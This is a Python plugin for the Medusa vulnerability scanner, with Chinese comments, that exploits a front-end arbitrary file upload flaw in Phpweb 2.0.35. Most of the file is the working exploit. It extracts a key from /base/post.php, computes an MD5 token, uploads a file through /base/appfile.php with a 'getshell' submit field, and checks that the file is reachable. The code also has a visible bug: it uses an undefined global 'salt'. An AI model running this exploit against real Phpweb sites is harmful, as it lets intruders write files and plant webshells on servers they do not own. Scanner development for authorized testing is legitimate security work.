#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Ascotbe'
__times__ = '2019/10/13 22:12 PM'
import urllib.parse
import requests
import random
import re
import hashlib
import ClassCongregation
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="0" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date']  = "2020-1-10"  # 插件编辑时间
        self.info['disclosure']='2019-12-30'#漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "PhpwebArbitraryFileUploadVulnerability"  # 插件名称
        self.info['name'] ='Phpweb前台任意文件上传漏洞' #漏洞名称
        self.info['affects'] = "Phpweb"  # 漏洞组件
        self.info['desc_content'] = "可以对目标机器进行getshell"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['version'] = "已知版本2.0.35"  # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果

def ranstr(num):#生成随机字符串
    H = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    global salt
    for i in range(num):
        salt += random.choice(H)
    return salt

def UrlProcessing(url):
    if url.startswith("http"):#判断是否有http头，如果没有就在下面加入
        res = urllib.parse.urlparse(url)
    else:
        res = urllib.parse.urlparse('http://%s' % url)
    return res.scheme, res.hostname, res.port

def medusa(Url,RandomAgent,UnixTimestamp):

    scheme, url, port = UrlProcessing(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        payload1 = "/base/post.php"
        payload_url1 = scheme + '://' + url + ':' + str(port) + payload1
        dada = "act=appcode"
        payload2 = "/base/appfile.php"
        payload_url2 = scheme + '://' + url + ':' + str(port) + payload2
        ran = ranstr(10)
        payload_url3 = scheme + '://' + url + ':' + str(port) + "/effect/source/bg/{}.txt".format(ran)
        headers = {
            'Accept-Encoding': 'gzip, deflate',
            'Accept': '*/*',
            'Accept-Language': 'en',
            'User-Agent':  RandomAgent,
            'Content-Type': 'application/x-www-form-urlencoded',
        }
        headers2 = {
            'Accept-Encoding': 'gzip, deflate',
            'Accept': '*/*',
            'Accept-Language': 'en',
            'User-Agent':  RandomAgent,
            'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary0ZoOKoVwkSlGFfVE',
        }
        resp = requests.post(payload_url1, data=dada, headers=headers, timeout=5, verify=False)
        con = resp.text
        k = re.match('k=(.*?)&', con, re.M | re.I).group(1)  # 提取K的值
        md5_en = hashlib.md5((k + "1").encode("utf-8")).hexdigest()
        dada2 = '''------WebKitFormBoundary0ZoOKoVwkSlGFfVE
Content-Disposition: form-data; name="file"; filename="{}.txt"
Content-Type: application/octet-stream

{}
------WebKitFormBoundary0ZoOKoVwkSlGFfVE
Content-Disposition: form-data; name="t"

1
------WebKitFormBoundary0ZoOKoVwkSlGFfVE
Content-Disposition: form-data; name="m"

{}
------WebKitFormBoundary0ZoOKoVwkSlGFfVE
Content-Disposition: form-data; name="act"

upload
------WebKitFormBoundary0ZoOKoVwkSlGFfVE
Content-Disposition: form-data; name="r_size"

10
------WebKitFormBoundary0ZoOKoVwkSlGFfVE
Content-Disposition: form-data; name="submit"

getshell
------WebKitFormBoundary0ZoOKoVwkSlGFfVE--'''.format(ran, ran, md5_en)
        resp2 = requests.post(payload_url2, data=dada2, headers=headers2, timeout=5, verify=False)
        resp3 = requests.get(payload_url3, headers=headers, timeout=5, verify=False)
        code3 = resp3.status_code
        con3 = resp3.text
        if code3 == 200 and con3.find(ran) != -1:
            Medusa = "{} 存在Phpweb前台任意文件上传漏洞\r\n漏洞地址:\r\n上传位置:\r\n{}\r\n上传数据包:\r\n{}\r\nwebshell位置:\r\n{}\r\n漏洞详情:\r\n{}".format(url,payload_url2,dada2,payload_url3,con3)
            _t=VulnerabilityInfo(Medusa)
            ClassCongregation.VulnerabilityDetails(_t.info, url,UnixTimestamp).Write()  # 传入url和扫描到的数据
            ClassCongregation.WriteFile().result(str(url), str(Medusa))  # 写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ClassCongregation.ErrorHandling().Outlier(e, _)
        _l = ClassCongregation.ErrorLog().Write(url, _)  # 调用写入类传入URL和错误插件名
#medusa("http://192.168.0.142","Mozilla/5.0(compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)")